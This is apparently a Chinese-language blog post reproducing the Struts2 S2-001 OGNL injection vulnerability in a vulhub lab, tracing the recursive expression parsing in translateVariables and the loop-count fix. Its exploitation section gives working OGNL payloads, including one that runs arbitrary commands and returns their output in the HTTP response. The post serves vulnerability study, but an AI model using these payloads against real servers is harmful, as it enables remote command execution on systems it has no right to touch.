Fork me on GitHub

S2-001漏洞复现

前言

最近在学习渗透测试的时候,看到大佬分析了Struts2的漏洞,为了更好的理解漏洞原理,对Struts2漏洞做一次复现。

漏洞信息

Struts2 是流行和成熟的基于 MVC 设计模式的 Web 应用程序框架。 Struts2 不只是 Struts1 下一个版本,它是一个完全重写的 Struts 架构。Struts2 的标签中使用的是OGNL表达式,OGNL 是 Object Graphic Navigation Language(对象图导航语言)的缩写,它是一种功能强大的表达式语言,使用它可以存取对象的任意属性,调用对象的方法,使用 OGNL 表达式的主要作用是简化访问对象中的属性值,但Struts2漏洞就源于OGNL。漏洞信息可见https://cwiki.apache.org/confluence/display/WW/S2-001

搭建环境

需要的列表:

  • jdk1.8
  • Tomcat
  • Struts2
  • IDEA

jdk1.8、Tomcat和IDEA的安装网上都有,按照步骤进行配置,比较难的可能是IDEA配置Tomcat的时候,可以参考IDEA的下载安装及配置Tomcat。在vulhub下载Struts2包,导入即可。

漏洞利用

  • 简单的poc:
%{1+1}

  • 弹出计算器
%{(new java.lang.ProcessBuilder(new java.lang.String[]{"calc.exe"})).start()}

  • 任意命令执行:
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
  • 其中"pwd"可以换成对应的命令,即可执行。

漏洞分析

当一个 HTTP 请求被 Struts2 处理时,会经过一系列的 拦截器 (Interceptor) ,这些拦截器可以是 Struts2 自带的,也可以是用户自定义的。例如下图 struts.xml 中的 package 继承自 struts-default ,而 struts-default 就使用了 Struts2 自带的拦截器。

在拦截器栈 defaultStack 中,我们需要关注 params 这个拦截器。

跟进到 /com/opensymphony/xwork2/interceptor/ParametersInterceptor.class setParameters->stack.setValue->invocation.invoke可以看到,params 拦截器会将客户端请求数据设置到值栈 (valueStack) 中,后续 JSP 页面中所有的动态数据都将从值栈中取出。

继续跟进,到达/com/opensymphony/xwork2/DefaultActionInvocation.class

跟进executeResult(),到达 /com/opensymphony/xwork2/DefaultActionInvocation.class

跟进result.execute(this),到达/org/apache/struts2/dispatcher/StrutsResultSupport.class

跟进doExecute()到达/org/apache/struts2/dispatcher/ServletDispatcherResult.class

执行dispatcher.forward(request, response);后转到jsp,并交给jsp解析处理。进入/org/apache/struts2/views/jsp/ComponentTagSupport.class解析strutes2中自定义的标签。

/org/apache/struts2/views/jsp/ComponentTagSupport.class中使用doEndTag()doStartTag()在jsp中自定义需要用到的新标签,跟进this.component.end();到达/org/apache/struts2/components/UIBean.class

这里evaluateParams主要初始化全局变量。跟入evaluateParams,在303左右,expr = "%{" + name + "}"表示expr拼接为一个%{name}

跟入addParameter("nameValue", findValue(expr, valueClazz));中的findValue,来到 /org/apache/struts2/components/Component.class

跟入TextParseUtil.translateVariables,进入/com/opensymphony/xwork2/util/TextParseUtil.class

public static String translateVariables(char open, String expression, ValueStack stack) {
        return translateVariables(open, expression, stack, String.class, (TextParseUtil.ParsedValueEvaluator)null).toString();
    }

继续跟入translateVariables,主要问题就在translateVariables这个函数里,源码如下:

public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator) {
        Object result = expression;

        while(true) {
            int start = expression.indexOf(open + "{");
            int length = expression.length();
            int x = start + 2;
            int count = 1;

            while(start != -1 && x < length && count != 0) {
                char c = expression.charAt(x++);
                if (c == '{') {
                    ++count;
                } else if (c == '}') {
                    --count;
                }
            }

            int end = x - 1;
            if (start == -1 || end == -1 || count != 0) {
                return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
            }

            String var = expression.substring(start + 2, end);
            Object o = stack.findValue(var, asType);
            if (evaluator != null) {
                o = evaluator.evaluate(o);
            }

            String left = expression.substring(0, start);
            String right = expression.substring(end + 1);
            if (o != null) {
                if (TextUtils.stringSet(left)) {
                    result = left + o;
                } else {
                    result = o;
                }

                if (TextUtils.stringSet(right)) {
                    result = result + right;
                }

                expression = left + o + right;
            } else {
                result = left + right;
                expression = left + right;
            }
        }
    }

此时expression%{password}

第一次执行的时候 会取出%{username}的值,即%{1+1}
通过if ((start != -1) && (end != -1) && (count == 0))的判断,跳过return,到达:

通过Object o = stack.findValue(var, asType);把值赋给 o,此后 o 为%{1+1},再对o进行了一番处理后,payload 经过 result 变量,最终成为expression的值:

在完成后,进入下一个循环,第二次循环在Object o = stack.findValue(var, asType);中会执行我们构造的OGNL表达式,即对payload的执行。

究其原因,漏洞的成因在于 translateVariables ,translateVariables 递归解析了表达式,在处理完%{password}后将password的值直接取出并继续在while循环中解析,若用户输入的password是恶意的OGNL表达式,比如%{1+1},则得以解析执行。根据华电许少的说法:

  1. JSP中的struts2标签的password字段在解析时会变成%

  2. 输入的参数被解析为%{%{payload}}

  3. 错误地多次循环将payload认为是合理的OGNL语句

  4. OGNL利用Java反射的特性执行了payload(反射就是在运行时才知道要操作的类是什么,并且可以在运行时获取类的完整构造,并调用对应的方法)

漏洞修复

public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator, int maxLoopCount) {
        Object result = expression;

        while(true) {
            int start = expression.indexOf(open + "{");
            int length = expression.length();
            int x = start + 2;
            int count = 1;

            while(start != -1 && x < length && count != 0) {
                char c = expression.charAt(x++);
                if (c == '{') {
                    ++count;
                } else if (c == '}') {
                    --count;
                }
            }
            if (loopCount > maxLoopCount) {
                // translateVariables prevent infinite loop / expression recursive evaluation
                break;
            }
            int end = x - 1;
            if (start == -1 || end == -1 || count != 0) {
                return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
            }

            String var = expression.substring(start + 2, end);
            Object o = stack.findValue(var, asType);
            if (evaluator != null) {
                o = evaluator.evaluate(o);
            }

            String left = expression.substring(0, start);
            String right = expression.substring(end + 1);
            if (o != null) {
                if (TextUtils.stringSet(left)) {
                    result = left + o;
                } else {
                    result = o;
                }

                if (TextUtils.stringSet(right)) {
                    result = result + right;
                }

                expression = left + o + right;
            } else {
                result = left + right;
                expression = left + right;
            }
        }
    }

这里增加了对OGNL递归解析次数的判断,当解析完一层表达式后,如图,此时loopCount > maxLoopCount,从而执行break,不再继续解析%{1+1},默认情况下只会解析第一层:

if (loopCount > maxLoopCount) {
                // translateVariables prevent infinite loop / expression recursive evaluation
                break;
}

参考文章:
Struts2-命令-代码执行漏洞分析系列
S2-001漏洞分析

posted @ 2021-08-11 11:08  吟风芥尘  阅读(446)  评论(0编辑  收藏  举报